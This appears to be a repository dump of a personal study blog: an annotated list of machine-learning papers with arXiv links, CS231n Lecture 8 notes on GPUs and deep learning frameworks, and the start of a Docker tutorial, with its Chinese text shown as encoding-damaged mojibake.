[Github](https://github.com/snagcliffs/PDE-FIND/)\n\n\n\n---\n\n\n\n## :atom_symbol: Physics Related\n\n**Deep learning approach based on dimensionality reduction for designing electromagnetic nanostructures**. Yashar Kiarashinejad, Sajjad Abdollahramezani, Ali Adibi [Georgia Institute of Technology] (2019) [arXiv:1902.03865](https://arxiv.org/abs/1902.03865)\n\n**The Calabi-Yau Landscape: from Geometry, to Physics, to Machine-Learning**. Y He (2018) [arXiv:1812.02893](https://arxiv.org/abs/1812.02893)\n\n**DeepSphere: Efficient spherical Convolutional Neural Network with HEALPix sampling for cosmological applications**. N Perraudin, M Defferrard, T Kacprzak, R Sgier [aSwiss Data Science Center (SDSC) & EPFL & ETH Zurich] (2018) [arXiv:1810.12186](https://arxiv.org/abs/1810.12186)\n\n**Toward an AI Physicist for Unsupervised Learning**. T Wu, M Tegmark [MIT] (2018) [arXiv:1810.10525](https://arxiv.org/abs/1810.10525)\n\n**Using Machine Learning to Predict the Evolution of Physics Research**. W Liu, S Saganowski, P Kazienko, S A Cheong [Nanyang Technological University & Wrocล‚aw University of Science and Technology] (2018) [arXiv:1810.12116](https://arxiv.org/abs/1810.12116)\n\n**hep-th**. Y He, V Jejjala, B D. Nelson [University of London & Nankai University & Northeastern University] (2018) [arXiv:1807.00735](https://arxiv.org/abs/1807.00735) [comment]\n\n**Deep Fluids: A Generative Network for Parameterized Fluid Simulations**. B Kim, VC Azevedo, N Thuerey, T Kim, M Grossโ€ฆ [ETH Zurich & Technical University of Munich & Pixar Animation Studios] (2019) [arXiv:1806.02071](https://arxiv.org/abs/1806.02071) [Blog](http://www.byungsoo.me/project/deep-fluids/)\n\n**Physics-guided Neural Networks (PGNNs)**. Anuj Karpatne, William Watkins, Jordan Read, Vipin Kumar [University of Minnesota] (2017) [arXiv:1710.11431](https://arxiv.org/abs/1710.11431)\n\n\n\n## :books: Review, Survey & Lecture Notes\n\n**An Introduction to Variational Autoencoders**. [Diederik P. Kingma, Max Welling] (2019) [arXiv:1906.02691](https://arxiv.org/abs/1906.02691)\n\n**Generative Adversarial Networks: A Survey and Taxonomy**. [Zhengwei Wang, Qi She, Tomas E. Ward] (2019) [arXiv:1906.01529](https://arxiv.org/abs/1906.01529) [Github](https://github.com/sheqi/GAN_Review)\n\n**A State-of-the-Art Survey on Deep Learning Theory and Architectures**. [PDF](https://www.mdpi.com/2079-9292/8/3/292)\n\n**Gradient Descent based Optimization Algorithms for Deep Learning Models Training**. J Zhang [Information Fusion and Mining Laboratory] (2019) [arXiv:1903.03614](https://arxiv.org/abs/1903.03614)\n\n**Deep Learning for Image Super-resolution: A Survey**. Z Wang, J Chen, S C.H. Hoi [Singapore Management University & South China University of Technology] (2019) [arXiv:1902.06068](https://arxiv.org/abs/1902.06068) [ไธ“็Ÿฅ](https://mp.weixin.qq.com/s/E1RxsUjQN2ufEP4k3OZyCA)\n\n**Word Embeddings: A Survey**. F Almeida, G Xexรฉo [Federal University of Rio de Janeiro] (2019) [arXiv:1901.09069](https://arxiv.org/abs/1901.09069)\n\n**Fitting A Mixture Distribution to Data: Tutorial**. B Ghojogh, A Ghojogh, M Crowley, F Karray [University of Waterloo & Shiraz University of Technology] (2019) [arXiv:1901.06708](https://arxiv.org/abs/1901.06708)\n\n**A Survey of the Recent Architectures of Deep Convolutional Neural Networks**. A Khan, A Sohail, U Zahoora, A S Qureshi [PIEAS] (2019) [arXiv:1901.06032](https://arxiv.org/abs/1901.06032) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650756087&idx=4&sn=39c71d8bd5d210badad2de235d7f3cae)\n\n**Artificial Neural Networks**. B. Mehlig [University of Gothenburg, Sweden] (2019) [arXiv:1901.05639](https://arxiv.org/abs/1901.05639) [Reddit](https://www.reddit.com/r/MachineLearning/comments/ah9afa/190105639_artificial_neural_networks/)\n\n**Optimization Models for Machine Learning: A Survey**. C Gambella, B Ghaddar, J Naoum-Sawaya [IBM Research Ireland & University of Western Ontario] (2019) [arXiv:1901.05331](https://arxiv.org/abs/1901.05331)\n\n**Deep Learning for Anomaly Detection: A Survey**. R Chalapathy, S Chawla [University of Sydney & Qatar Computing Research Institute (QCRI)] (2019) [arXiv:1901.03407](https://arxiv.org/abs/1901.03407)\n\n**Revisiting Self-Supervised Visual Representation Learning**. Alexander Kolesnikov, Xiaohua Zhai, Lucas Beyer [Google Brain] (2019) [arXiv:1901.09005](https://arxiv.org/abs/1901.09005) [Github](https://github.com/google/revisiting-self-supervised) [Reddit](https://www.reddit.com/r/MachineLearning/comments/altr5e/r_revisiting_selfsupervised_visual_representation/)\n\n**A Survey on Multi-output Learning**. D Xu, Y Shi, I W. Tsang, Y Ong, C Gong, X Shen [ University of Technology Sydney & Nanyang Technological University] (2019) [arXiv:1901.00248](https://arxiv.org/abs/1901.00248)\n\n**Analysis Methods in Neural Language Processing: A Survey**. Y Belinkov, J Glass [MIT] (2018) [arXiv:1812.08951](https://arxiv.org/abs/1812.08951) [Github](https://github.com/boknilev/nlp-analysis-methods) [Blog](https://boknilev.github.io/nlp-analysis-methods/)\n\n**Recent Advances in Open Set Recognition: A Survey**. Chuanxing Geng, Sheng-jun Huang, Songcan Chen [College of Computer Science and Technology, Nanjing] [arXiv:1811.08581](https://arxiv.org/abs/1811.08581) [Reddit](https://www.reddit.com/r/MachineLearning/comments/bdktjv/d_other_class_in_dnn_classification/)\n\n**Neural Approaches to Conversational AI**. J Gao, M Galley, L Li [Microsoft Research & Google Brain] (2018) [arXiv:1809.08267](https://arxiv.org/abs/1809.08267)\n\n**Recent Advances in Autoencoder-Based Representation Learning**. M Tschannen, O Bachem, M Lucic [ETH Zurich & Google AI] (2018) [arXiv:1812.05069](https://arxiv.org/abs/1812.05069)\n\n**Learning From Positive and Unlabeled Data: A Survey**. J Bekker, J Davis [KU Leuven] (2018) [arXiv:1811.04820](https://arxiv.org/abs/1811.04820)\n\n**Analyzing biological and artificial neural networks: challenges with opportunities for synergy?**. David G.T. Barrett, Ari S. Morcos, Jakob H. Macke [DeepMind; Technical University of Munich, Germany] (2018) [arXiv:1810.13373](https://arxiv.org/abs/1810.13373)\n\n**Model Selection Techniques -- An Overview**. J Ding, V Tarokh, Y Yang [University of Minnesota & Duke University] (2018) [arXiv:1810.09583](https://arxiv.org/abs/1810.09583)\n\n**Deep Learning with the Random Neural Network and its Applications**. Y Yin [Imperial College] (2018) [arXiv:1810.08653](https://arxiv.org/abs/1810.08653)\n\n**The Frontiers of Fairness in Machine Learning**. A Chouldechova, A Roth [CMU & University of Pennsylvania] (2018) [arXiv:1810.08810](https://arxiv.org/abs/1810.08810)\n\n**Applications of Deep Reinforcement Learning in Communications and Networking: A Survey**. N C Luong, D T Hoang, S Gong, D Niyato, P Wang, Y Liang, D I Kim [Nanyang Technological University & University of Technology Sydney & Chinese Academy of Sciences] (2018) [arXiv:1810.07862](https://arxiv.org/abs/1810.07862)\n\n**A Survey on Deep Learning: Algorithms, Techniques, and Applications**. Pouyanfar S, Sadiq S, Yan Y, et al [ACM Computing Surveys (CSUR)] (2018) ([pdf](https://dl.acm.org/citation.cfm?id=3234150)) ([ไธ“็Ÿฅ](https://mp.weixin.qq.com/s/AQrgvjFPXUpqfqQQgOFN9A))\n\n**A Tale of Three Probabilistic Families: Discriminative, Descriptive and Generative Models**. Y N Wu, R Gao, T Han, S Zhu [UCLA] (2018) [arXiv:1810.04261](https://arxiv.org/abs/1810.04261)\n\n**Deep learning for time series classification: a review**. H I Fawaz, G Forestier, J Weber, L Idoumghar, P Muller [Universitรฉ Haute Alsace] (2018) [arXiv:1809.04356](https://arxiv.org/abs/1809.04356)\n\n**A Survey on Deep Transfer Learning**. C Tan, F Sun, T Kong, W Zhang, C Yang, C Liu [Tsinghua University] (2018) [arXiv:1808.01974](https://arxiv.org/abs/1808.01974)\n\n**Generalization Error in Deep Learning**. D Jakubovitz, R Giryes, M R. D. Rodrigues [Tel Aviv University & University College London] (2018) [arXiv:1808.01174](https://arxiv.org/abs/1808.01174)\n\n**How convolutional neural network see the world - A survey of convolutional neural network visualization methods**. Z Qin, F Yu, C Liu, X Chen [George Mason University & Clarkson University] (2018) [arXiv:1804.11191](https://arxiv.org/abs/1804.11191)\n\n**An Introduction to Image Synthesis with Generative Adversarial Nets**. He Huang, Philip S. Yu, Changhu Wang [University of Illinois at Chicago & ByteDance AI Lab] (2019) [arXiv:1803.04469](https://arxiv.org/abs/1803.04469)\n\n**Visual Interpretability for Deep Learning: a Survey**. Quanshi Zhang, Song-Chun Zhu [] (2018) [arXiv:1802.00614](https://arxiv.org/abs/1802.00614)\n\n**How Generative Adversarial Networks and Their Variants Work: An Overview**. Yongjun Hong, Uiwon Hwang, Jaeyoon Yoo, Sungroh Yoon [Seoul National University] (2017, 2018v9) [arXiv:1711.05914](https://arxiv.org/abs/1711.05914)\n\n**Deep Learning for Time-Series Analysis**. John Gamboa [University of Kaiserslautern, Germany] (2017) [arXiv:1701.01887](https://arxiv.org/abs/1701.01887)\n\n**Deep Learning in Neural Networks: An Overview**. Ju ฬˆrgen Schmidhuber [University of Lugano & SUPSI, Switzerland] (2014) [arXiv:1404.7828](https://arxiv.org/abs/1404.7828)\n\n**Curriculum learning**. Y Bengio, J Louradour, R Collobert, J Weston [Montreal, Fabert, Princeton] (2009) [PDF](https://dl.acm.org/ft_gateway.cfm?id=1553380&ftid=628555&dwn=1&CFID=26059340&CFTOKEN=33e02b66c0c6c7d5-638CF26B-B60E-C2DB-D77FEA4F75987BD4)\n\n- Graph Neural Networks\n\n **A Comprehensive Survey on Graph Neural Networks**. Z Wu, S Pan, F Chen, G Long, C Zhang, P S. Yu [University of Technology Sydney & Monash University & University of Illinois at Chicago] (2019) [arXiv:1901.00596](https://arxiv.org/abs/1901.00596)\n\n **Graph Neural Networks: A Review of Methods and Applications**. J Zhou, G Cui, Z Zhang, C Yang, Z Liu, M Sun [Tsinghua University] (2018) [arXiv:1812.08434](https://arxiv.org/abs/1812.08434)\n\n **Deep Learning on Graphs: A Survey**. Z Zhang, P Cui, W Zhu [Tsinghua University] (2018) [arXiv:1812.04202](https://arxiv.org/abs/1812.04202)\n\n\n\n## :framed_picture: Figure Design & Dimension Reduction\n\n**Deep Learning Multidimensional Projections**. Mateus Espadoto, Nina S. T. Hirata and Alexandru C. Telea (2019) [arXiv:1902.07958](https://arxiv.org/abs/1902.07958)\n\n**CFUN: Combining Faster R-CNN and U-net Network for Efficient Whole Heart Segmentation**. Z Xu, Z Wu, J Feng [Tsinghua University] (2018) [arXiv:1812.04914](https://arxiv.org/abs/1812.04914) [GitHub](https://github.com/Wuziyi616/CFUN)\n\n**Deep Paper Gestalt**. J Huang [Virginia Tech] (2018) [arXiv:1812.08775](https://arxiv.org/abs/1812.08775) [GitHub](https://github.com/vt-vl-lab/paper-gestalt) [YouTube](https://www.youtube.com/watch?v=yQLsZLf02yg) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650754320&idx=1&sn=d6691ecd6adb98fa3c29986cf1efeebc&chksm=871a896eb06d00780f96e27b3ce3ee321c45ec21d30107f3e3778b5f674e172855a29fbcc70f&token=576114296&lang=zh_CN#rd)\n\n**A Tutorial on Distance Metric Learning: Mathematical Foundations, Algorithms and Software**. J L Suรกrez, S Garcรญa, F Herrera [University of Granada] (2018) [arXiv:1812.05944](https://arxiv.org/abs/1812.05944)\n\n**Improving Generalization for Abstract Reasoning Tasks Using Disentangled Feature Representations**. X Steenbrugge, S Leroux, T Verbelen, B Dhoedt [Ghent University] (2018) [arXiv:1811.04784](https://arxiv.org/abs/1811.04784)\n\n**UMAP: Uniform Manifold Approximation and Projection for Dimension Reduction**. Leland McInnes and John Healy [Tutte Institute for Mathematics and Computing] (2018) [arXiv:1802.03426](https://arxiv.org/abs/1802.03426) [Github](https://github.com/lmcinnes/umap)\n\n\n\n\n\n\n\n---\n\n> Need to be reviewed.....\n\n**Entropic GANs meet VAEs: A Statistical Approach to Compute Sample Likelihoods in GANs**. Y Balaji, H Hassani, R Chellappa, S Feizi [University of Maryland & University of Pennsylvania] (2018) [arXiv:1810.04147](https://arxiv.org/abs/1810.04147) [comment]\n\n**Analyzing the Noise Robustness of Deep Neural Networks**. M Liu, S Liu, H Su, K Cao, J Zhu [Tsinghua University] (2018) [arXiv:1810.03913](https://arxiv.org/abs/1810.03913) [comment]\n\n**Deep convolutional Gaussian processes**. K Blomqvist, S Kaski, M Heinonen [Aalto university] (2018) [arXiv:1810.03052](https://arxiv.org/abs/1810.03052) [GitHub](https://github.com/kekeblom/DeepCGP) [comment]\n\n**Learning with Random Learning Rates**. L Blier, P Wolinski, Y Ollivier [Facebook AI Research & Universite Paris Sud] (2018) [arXiv:1810.01322](https://arxiv.org/abs/1810.01322) [Github](https://github.com/leonardblier/alrao) [Blog](https://leonardblier.github.io/alrao/) [comment]\n\n**Interpreting Adversarial Robustness: A View from Decision Surface in Input Space**. F Yu, C Liu, Y Wang, X Chen [George Mason University & Clarkson University & Northeastern University] (2018) [arXiv:1810.00144](https://arxiv.org/abs/1810.00144) [comment]\n\n**Spurious samples in deep generative models: bug or feature?**. B Kรฉgl, M Cherti, A Kazakรงฤฑ [CNRS/Universite Paris-Saclay & PSL Research University] (2018) [arXiv:1810.01876](https://arxiv.org/abs/1810.01876) [comment]\n\n**Inhibited Softmax for Uncertainty Estimation in Neural Networks**. M Moลผejko, M Susik, R Karczewski [Sigmoidal] (2018) [arXiv:1810.01861](https://arxiv.org/abs/1810.01861) [GitHub](https://github.com/MSusik/Inhibited-softmax) [comment]\n\n**Deep processing of structured data**. ล Maziarka, M ลšmieja, A Nowak, J Tabor, ล Struski, P Spurek [Jagiellonian University] (2018) [arXiv:1810.01989](https://arxiv.org/abs/1810.01989) [comment]\n\n**Variational Discriminator Bottleneck: Improving Imitation Learning, Inverse RL, and GANs by Constraining Information Flow**. Xue Bin Peng, Angjoo Kanazawa, Sam Toyer, Pieter Abbeel, Sergey Levine [University of California, Berkeley] (2018) [arXiv:1810.00821](https://arxiv.org/abs/1810.00821)\n\n**Taming VAEs**. D J Rezende, F Viola [DeepMind] (2018) [arXiv:1810.00597](https://arxiv.org/abs/1810.00597) [comment]\n\n**Adversarial Attacks and Defences: A Survey**. A Chakraborty, M Alam, V Dey, A Chattopadhyay, D Mukhopadhyay [Indian Institute of Technology & The Ohio State University & Nanyang Technological University] (2018) [arXiv:1810.00069](https://arxiv.org/abs/1810.00069) [comment]\n\n**Over-Optimization of Academic Publishing Metrics: Observing Goodhart's Law in Action**. M Fire, C Guestrin [University of Washington] (2018) [arXiv:1809.07841](https://arxiv.org/abs/1809.07841) [comment]\n\n**On the loss landscape of a class of deep neural networks with no bad local valleys**. Q Nguyen, M C Mukkamala, M Hein [Saarland University & University of Tรผbingen] (2018) [arXiv:1809.10749](https://arxiv.org/abs/1809.10749) [comment]\n\n**Conditional WaveGAN**. Chae Young Lee, Anoop Toffy, Gue Jun Jung, Woo-Jin Han (2018) [GitHub](https://github.com/acheketa/cwavegan) [arXiv:1809.10636](https://arxiv.org/abs/1809.10636)\n\n**An analytic theory of generalization dynamics and transfer learning in deep linear networks**. A K. Lampinen, S Ganguli [Stanford University] (2018) [arXiv:1809.10374](https://arxiv.org/abs/1809.10374) [comment]\n\n**Dropout is a special case of the stochastic delta rule: faster and more accurate deep learning**. N Frazier-Logue, S J Hanson [Rutgers University] (2018) [arXiv:1808.03578](https://arxiv.org/abs/1808.03578) [comment]\n\n**Grassmannian Learning: Embedding Geometry Awareness in Shallow and Deep Learning**. J Zhang, G Zhu, R W. H Jr., a K Huang [The University of Hong Kong] (2018) [arXiv:1808.02229](https://arxiv.org/abs/1808.02229) [comment]\n\n**Is Robustness the Cost of Accuracy? -- A Comprehensive Study on the Robustness of 18 Deep Image Classification Models**. D Su, H Zhang... [IBM Research & University of California, Davis & MIT] (2018) [arXiv:1808.01688](https://arxiv.org/abs/1808.01688) [GitHub](https://github.com/huanzhang12/Adversarial_Survey) [comment]\n\n**Recurrent Squeeze-and-Excitation Context Aggregation Net for Single Image Deraining**. Xia Li, Jianlong Wu, Zhouchen Lin, Hong Liu, Hongbin Zha. [Peking University] (2018) [arXiv:1807.05698](https://arxiv.org/abs/1807.05698) [GitHub](https://github.com/XiaLiPKU/RESCAN) [comment]\n\n**Toward Convolutional Blind Denoising of Real Photographs**. S Guo, Z Yan, K Zhang, W Zuo, L Zhang [Harbin Institute of Technology & The Hong Kong Polytechnic University] (2018) [arXiv:1807.04686](https://arxiv.org/abs/1807.04686) [Github](https://github.com/GuoShi28/CBDNet) [comment]\n\n**Seamless Nudity Censorship: an Image-to-Image Translation Approach based on Adversarial Training**. MD More, DM Souza, J Wehrmann, RC Barros (2018) [ResearchGate](https://www.researchgate.net/profile/Jonatas_Wehrmann/publication/325746502_Seamless_Nudity_Censorship_an_Image-to-Image_Translation_Approach_based_on_Adversarial_Training/links/5b2c7950aca2720785d66732/Seamless-Nudity-Censorship-an-Image-to-Image-Translation-Approach-based-on-Adversarial-Training.pdf) [comment]\n\n**Classification and Geometry of General Perceptual Manifolds**. SY Chung, DD Lee, H Sompolinsky [Harvard University] (2018) [PRX](https://journals.aps.org/prx/abstract/10.1103/PhysRevX.8.031003) [comment]\n\n**The GAN Landscape: Losses, Architectures, Regularization, and Normalization**. K Kurach, M Lucic, X Zhai, M Michalski, S Gelly [Google Brain] (2018) [arXiv:1807.04720](https://arxiv.org/abs/1807.04720) [Github](https://github.com/google/compare_gan) [comment]\n\n**Troubling Trends in Machine Learning Scholarship**. Z C. Lipton, J Steinhardt [Stanford University] (2018) [arXiv:1807.03341](https://arxiv.org/abs/1807.03341) [comment]\n\n**On the Spectral Bias of Deep Neural Networks**. N Rahaman, D Arpit, A Baratin, F Draxler, M Lin, F A. Hamprecht, Y Bengio, A Courville [Heidelberg University & MILA] (2018) [arXiv:1806.08734](https://arxiv.org/abs/1806.08734) [comment]\n\n**Opening the black box of deep learning**. D Lei, X Chen, J Zhao [Shanghai University] (2018) [arXiv:1805.08355](https://arxiv.org/abs/1805.08355) [comment]\n\n**Foundations of Sequence-to-Sequence Modeling for Time Series**. V Kuznetsov, Z Mariet [Google Research & MIT] (2018) [arXiv:1805.03714](https://arxiv.org/abs/1805.03714)\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./APaperADay.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6639741659164429, "alphanum_fraction": 0.7159935235977173, "avg_line_length": 22.08955192565918, "blob_id": "1736e3923956a17cb1f6547e39cd57c8a887d42b", "content_id": "ee674c3a189ae362f1668de889a9342e65a048a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3949, "license_type": "no_license", "max_line_length": 394, "num_lines": 134, "path": "/blog/cs231n/cs231n_8.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.8\ndate: 2018-08-30\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=19)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n\n\n\n\n\n# Lecture 8. Deep Learning Hardware and Software\n\n## CPU vs GPU\n\n- GPU ๅ ๆฎๅพˆๅคง็š„็ฉบ้—ดๅ’Œ่ƒฝ้‡\n\n- GPU ๅฐฑ้€‰ NVIDIA ็š„๏ผŒๆฒก็š„่ฏดใ€‚\n\n- GPU ๅ’Œ CPU ไน‹้—ดๆœ‰ๅพˆๅคšๅทฎๅผ‚๏ผš\n\n ![](https://i.loli.net/2018/08/30/5b87d6fee94da.png)\n\n **Note๏ผš**TITAN V isn't technically a \"TPU\" since that's a Google term, but both have hardware specialized for deep learning\n\n- GPU ๅ’Œ CPU ๅœจไปทๆ ผไธŠ็š„ๅทฎๅผ‚ๅ˜ๅŒ–๏ผš\n\n ![](https://i.loli.net/2018/08/30/5b87d7a79e132.png)\n\n- ๅœจๅฎž้™…ๆƒ…ๅ†ตไธ‹๏ผŒGPU ๅ’Œ CPU ่กจ็Žฐ็š„ๅทฎๅผ‚๏ผš\n\n ![](https://i.loli.net/2018/08/30/5b87d80b253be.png)\n\n ![image-20180830194424495](assets/image-20180830194424495.png)\n\n - cuDNN much faster that \"unoptimized\" CUDA\n\n- Programming GPUs\n\n - CUDA๏ผˆNVIDIA only๏ผ‰\n - Write C-like code that runs directly on the GPU\n - Optimized APIs๏ผšcuBLAS, cuFFT, cuDNN, etc\n - OpenCL\n - Similar to CUDA, but runs on anything\n - Usually slower on NVIDIA hardware\n - HIP https://github.com/ROCm-Developer-Tools/HIP\n - New project that automatically converts CUDA code to something that can run on AMD GPUs\n - Udacity๏ผšIntro to Parallel Programming https://www.udacity.com/course/cs344\n - For deep learning just use existing libraries\n\n\n\n- CPU / GPU Communication\n - If you aren't careful, training can bottleneck on reading data and transferring to GPU๏ผ\n - **Solutions๏ผš**\n - Read all data into RAM\n - Use SSD instead of HDD\n - Use multiple CPU threads to prefetch data.\n\n\n\n- ๅฐๅ“ฅ่ฐˆๅˆฐ๏ผŒไปŽ่ฝฏไปถไธŠๆฅ่ฏด๏ผŒๅฏ่ƒฝไฝ ่ƒฝๅšๅˆฐ็š„ๆœ€ๆœ‰ๆ•ˆ็š„ไบ‹ๆƒ…ๅฐฑๆ˜ฏ๏ผš่ฎพๅฎšๅฅฝ CPU ็š„้ข„่ฏปๅ†…ๅฎน๏ผˆpre-fetching๏ผ‰๏ผŒๆฏ”ๅฆ‚้ฟๅ…่ฟ™็งๆฏ”่พƒ็ฌจ็š„ๅบๅˆ—ๅŒ–ๆ“ไฝœ๏ผŒไฝ ๅ…ˆๆŠŠๆ•ฐๆฎไปŽ็กฌ็›˜้‡Œ่ฏปๅ‡บๆฅ๏ผŒ็ญ‰ๅพ…ๅฐๆ‰น้‡็š„ๆ•ฐๆฎไธ€ๆ‰นไธ€ๆ‰นๅœฐ่ฏปๅฎŒ๏ผŒ็„ถๅŽไพๆฌก้€ๅˆฐ GPU ไธŠๅšๆญฃๅ‘ๅ’Œๅๅ‘ไผ ๆ’ญ๏ผŒๅ†่ฏปไธ‹ไธ€ไธชๅฐๆ‰น้‡็š„ๆ•ฐๆฎ๏ผŒๆŒ‰้กบๅบ่ฟ™ๆ ทๅšใ€‚ๅฆ‚ๆžœไฝ ๆœ‰ๅคšไธชCPU๏ผŒๆฏ”ๅฆ‚่ฏดๅคšไธช CPU ็บฟ็จ‹ๅœจๅŽๅฐไปŽ็กฌ็›˜ไธญๆฌ่ฟๅ‡บๆ•ฐๆฎ๏ผŒ่ฟ™ๆ ท็š„่ฏ๏ผŒไฝ ๅฏไปฅๆŠŠ่ฟ™ไบ›่ฟ‡็จ‹ไบค้”™็€่ฟ่กŒ่ตทๆฅใ€‚GPU ๅœจ่ฟ่กŒ็š„ๅŒๆ—ถ๏ผŒCPU ็š„ๅŽๅฐ็บฟ็จ‹ไปŽ็กฌ็›˜ไธญๅ–ๆ•ฐๆฎ๏ผŒไธป็บฟ็จ‹็ญ‰ๅพ…่ฟ™ไบ›ๅทฅไฝœๅฎŒๆˆ๏ผŒๅœจๅฎƒไปฌไน‹้—ดๅšไธ€ไบ›ๅŒๆญฅๅŒ–๏ผŒ่ฎฉๆ•ดไธชๆต็จ‹ๅนถ่กŒ่ตทๆฅใ€‚ๅฅฝๅœจๅฆ‚ๆžœไฝ ไฝฟ็”จไบ†ไธ‹้ข่ฆ่ฎฒๅˆฐ็š„่ฟ™ไบ›ๆทฑๅบฆๅญฆไน ๆก†ๆžถ๏ผŒๅฎƒไปฌๅทฒ็ปๆ›ฟไฝ ๅฎŒๆˆไบ†่ฟ™้ƒจๅˆ†ๆ“ไฝœ๏ผŒๅ› ไธบๅฎž็Žฐ่ตทๆฅๆœ‰็‚น้บป็ƒฆใ€‚\n\n\n\n## Deep Learning Frameworks\n\n- ็ฌฌไธ€ไปฃๆทฑๅบฆๅญฆไน ๆก†ๆžถ้ƒฝๆ˜ฏๆœ‰ๅญฆๆœฏ็•Œๅปบ็ซ‹ๅ’Œ็ปดๆŠค่ตทๆฅ็š„ใ€‚ \n- ไธ‹ไธ€ไปฃๆทฑๅบฆๅญฆไน ๆก†ๆžถๅ…จ้ƒจ็”ฑๅทฅไธš็•Œไบง็”Ÿใ€‚\n\n![](https://i.loli.net/2018/08/30/5b87f8ad2450c.png)\n\n- ไฝฟ็”จๆทฑๅบฆๅญฆไน ๆก†ๆžถ็š„็†็”ฑ๏ผš\n 1. Quick to develop and test new ideas \n 2. Automatically compute gradients \n 3. Run it all efficiently on GPU (wrap cuDNN, cuBLAS, etc) \n\n\n\n\n\n> I love MXNet!\n\n\n\n### Caffe / Caffe2\n\n\n\n\n\n### Theano / TensorFlow\n\n\n\n\n\n### Torch / PyTorch\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_8.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n" }, { "alpha_fraction": 0.7187959551811218, "alphanum_fraction": 0.7376968860626221, "avg_line_length": 24.284955978393555, "blob_id": "c46eeb7f08a0b8ddcaa33fc6c323ea3436c54942", "content_id": "7166553566deef0961c2e99126cd7f72a0ec393e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 24243, "license_type": "no_license", "max_line_length": 394, "num_lines": 565, "path": "/blog/posts/Docker_Tutorial.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Docker Tutorial\ndate: 2019-1-14\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n# Docker ็ฎ€ๆ˜“ๅ…ฅ้—จๆ•™็จ‹\n\n[TOC]\n\n> ๆญคๆ–‡ๆ˜ฏไธบ่‡ชๅทฑๅญฆไน  Docker ไธบๆœชๆฅ็š„่‡ชๅทฑ็œ‹็š„ Note๏ผŒๆ‰€ไปฅๅ†…ๅฎนๆ˜ฏๅพˆๅŸบ็ก€็š„๏ผŒๅนถไธ”ๅ†…ๅฎนๆœ‰็›ธๅฝ“ไธ€้ƒจๅˆ†ๆ˜ฏ่ฝฌ่ฝฝๅ’Œ copy ่‡ชๅ…ถๅฎƒ็‰›ไบบ็š„ๅšๆ–‡็ญ‰ๅ…ถไป–ๆŠ€ๆœฏ่ต„ๆ–™ใ€‚ๆ‰€ไปฅๅ†™ไฝœๆญคๆ–‡็š„็›ฎ็š„๏ผŒๅฐฑๆ˜ฏไธบไบ†้™ไฝŽไธชไบบๆœ็ดขๅ’ŒๆŸฅ้˜…็š„้บป็ƒฆ๏ผŒๆฏๅญฆไธ€ๆ‰‹๏ผŒๅฐฑ่ฎฐไธ€็‚นใ€‚\n>\n> 